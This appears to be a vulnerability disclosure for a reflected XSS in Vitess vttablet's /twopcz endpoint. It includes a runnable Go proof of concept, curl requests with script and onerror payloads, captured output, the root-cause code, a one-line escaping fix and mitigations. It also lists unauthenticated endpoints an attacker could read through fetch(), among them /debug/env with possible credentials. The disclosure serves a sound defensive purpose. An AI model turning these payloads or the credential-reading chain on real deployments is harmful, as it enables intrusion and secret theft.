Vitess vttablet /twopcz reflected XSS

Affected versions (verified)

All released versions are vulnerable. The fix lives only on main:

Sensitive data exposed via the same-origin XSS chain

A successful XSS lands in the vttablet's origin. From there, the attacker can fetch (via fetch() from injected JavaScript) the following same-origin endpoints, all of which are unauthenticated by default:

• /twopcz — in-flight 2PC transactions (query text, parameters, dtid)
• /queryz — live query plans
• /querylogz — recent queries with bound values
• /txlogz — transactions
• /debug/env — environment variables (may include MySQL creds, topology credentials, encryption keys)
• /debug/vars — expvar stats
• /debug/pprof/* — CPU/memory profiles (if enabled)

Reproduction (independent, runnable PoC)

The PoC is a self-contained Go HTTP server that replicates the buggy twopczHandler from Vitess v20.0.0 verbatim (using the same line-185 code). It runs on 127.0.0.1:15080 and returns the same response shape as the real Vitess endpoint.

# 1) Build the PoC (Go 1.23+)
cd /path/to/finding/CVE-pending-twopcz-xss
go build -o /tmp/vitess-twopcz-poc ./poc.go

# 2) Start the buggy server
ADDR=127.0.0.1:15080 /tmp/vitess-twopcz-poc &

# 3) Reproduce — Test 1: bare GET (no params)
curl -sS -i "http://127.0.0.1:15080/twopcz"
# → Content-Type: text/html; charset=utf-8, status 200

# 4) Test 2: XSS via Action param (URL-encode the script tag)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=%3Cscript%3Ealert(1)%3C%2Fscript%3E&dtid=zz"
# → Response body contains literal "<script>alert(1)</script>(zz): completed."
# → Browser executes the script as same-origin code

# 5) Test 3: XSS via dtid param (attribute-context payload)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=Demo&dtid=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"
# → Response body contains literal "<img src=x onerror=alert(1)>"
# → Browser fires the onerror handler as same-origin code

# 6) Run the 3x automated runner (writes evidence/run-{1,2,3}.log)
bash ./poc/run.sh

PoC result excerpt (from evidence/run-1.log):

--- Test 2: XSS via Action=<script>alert(1)</script> ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<h2>WARNING: Actions on this page can jeopardize data integrity.</h2>
<script>alert(1)</script>(zz): completed.

PASS: payload reflected UNESCAPED (XSS exploitable in browser)

The PoC was run 3 times on the buggy server (all 3/3 PASS) and the same code is byte-identical to the v20.0.0 commit 8aeb274f6c8e line 185.

Root cause (technical detail)

go/vt/vttablet/tabletserver/twopcz.go (v20.0.0 through v24.0.1):

// Line 185
fmt.Fprintln(w, msg)

msg is constructed earlier in the handler as:

msg := fmt.Sprintf("%s(%s): completed.", action, dtid)

with action and dtid coming from the form values r.FormValue("Action") and r.FormValue("dtid"). The form values are URL-decoded (so a + becomes a space, %3C becomes <) but never HTML-escaped. The handler explicitly sets Content-Type: text/html; charset=utf-8 (via the <!DOCTYPE html> it writes first), so the browser executes any injected <script> or attribute-context payload.

The fix in main (fmt.Fprintln(w, html.EscapeString(msg))) closes the hole by HTML-escaping both action and dtid before reflection.

Suggested fix (already in main)

// Recommended minimal patch (already in main, needs backport to all release branches):
import "html"

func twopczHandler(w http.ResponseWriter, r *http.Request) {
    // ... existing logic ...
    msg := fmt.Sprintf("%s(%s): completed.", action, dtid)
    fmt.Fprintln(w, html.EscapeString(msg))  // ← was: fmt.Fprintln(w, msg)
}

Backport the fix to v20.0.x, v22.0.x, v23.0.x, and v24.0.x as patch releases. The fix is one line and a one-line import "html" addition, so the backport risk is minimal.

Workaround / mitigation (no patch available)

If you cannot upgrade to a fixed release immediately:

1. Restrict the vttablet HTTP port (default 15999) to localhost only. vttablet can run with --tablet-allow-stats=false and --tablet-grpc-port configured separately from the HTTP port, or you can firewall the HTTP port at the network layer. The debug endpoints are not needed by production traffic.

2. Set a non-default ACL policy. Vitess supports an acl policy that defaults to allow-all. Setting it to a JSON file that denies unauthenticated access to debug endpoints (see go/acl/acl.go::savePolicy) would block the XSS, but the default policy is currently "" (allow-all) and many users don't override it.

3. Use a reverse proxy (nginx, envoy) in front of the vttablet HTTP port with a strict allowlist of clients.

Cross-references

• The bug is not related to:
  • CVE-2024-53257 (/debug/querylogz HTML injection, fixed in v20.0.4 — different endpoint)
  • CVE-2026-27969 (backup MANIFEST path traversal)
  • CVE-2026-27965 / GHSA-8g8j-r87h-p36x (backup external decompressor RCE)
• PR #20255 is the fix commit; PR #19486 (defense-in-depth) is a separate hardening change

Contact

• GitHub: @xylove21